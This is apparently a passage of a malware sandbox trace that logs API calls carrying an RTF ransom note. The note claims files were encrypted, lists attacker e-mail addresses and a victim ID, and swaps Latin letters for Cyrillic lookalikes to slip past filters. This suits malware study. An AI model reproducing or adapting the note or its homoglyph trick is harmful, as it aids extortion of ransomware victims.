-m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 